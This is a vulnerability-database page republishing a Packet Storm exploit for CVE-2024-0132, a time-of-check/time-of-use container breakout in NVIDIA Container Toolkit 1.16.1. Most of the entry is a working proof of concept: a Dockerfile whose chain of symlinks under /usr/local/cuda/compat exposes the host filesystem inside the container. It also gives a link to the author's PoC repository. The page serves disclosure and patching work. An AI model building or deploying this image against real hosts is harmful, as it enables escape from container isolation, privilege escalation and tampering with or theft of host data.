Lucene search
K

NVIDIA Container Toolkit 1.16.1 Breakout

🗓️ 31 Mar 2025 00:00:00Reported by r0binakType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 206 Views

NVIDIA Container Toolkit 1.16.1 is vulnerable to container breakout allowing host file access.

Related
Code
# Exploit Title: Container Breakout with NVIDIA Container Toolkit
    # Date: 17/02/2025
    # Exploit Author: r0binak
    #Software Link Homepage: https://github.com/NVIDIA/nvidia-container-toolkit
    # Version: 1.16.1
    # Tested on: NVIDIA Container Tooklit 1.16.1
    # CVE: CVE-2024-0132
    
    Description: NVIDIA Container Toolkit 1.16.1 or earlier contains a
    Time-of-check Time-of-Use (TOCTOU) vulnerability when used with
    default configuration where a specifically crafted container image may
    gain access to the host file system. This does not impact use cases
    where CDI is used. A successful exploit of this vulnerability may lead
    to code execution, denial of service, escalation of privileges,
    information disclosure, and data tampering.
    
    PoC link: https://github.com/r0binak/CVE-2024-0132
    
    Steps to Reproduce:
    
    Build and run a docker image based on such a Dockerfile:
    
    FROM ubuntu
    
    RUN mkdir -p /usr/local/cuda/compat/
    
    RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
    RUN echo test >
    /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
    
    RUN mkdir -p /pwn/libdxcore.so.1337/
    RUN ln -s ../../../../../../../../../
    /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
    
    RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
    
    RUN ln -s /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
    /usr/local/cuda/compat/libxxx.so.2
    
    The host file system will reside in
    /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/
    
    Regards,
    Sergey `*r0binak*` Kanibor

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation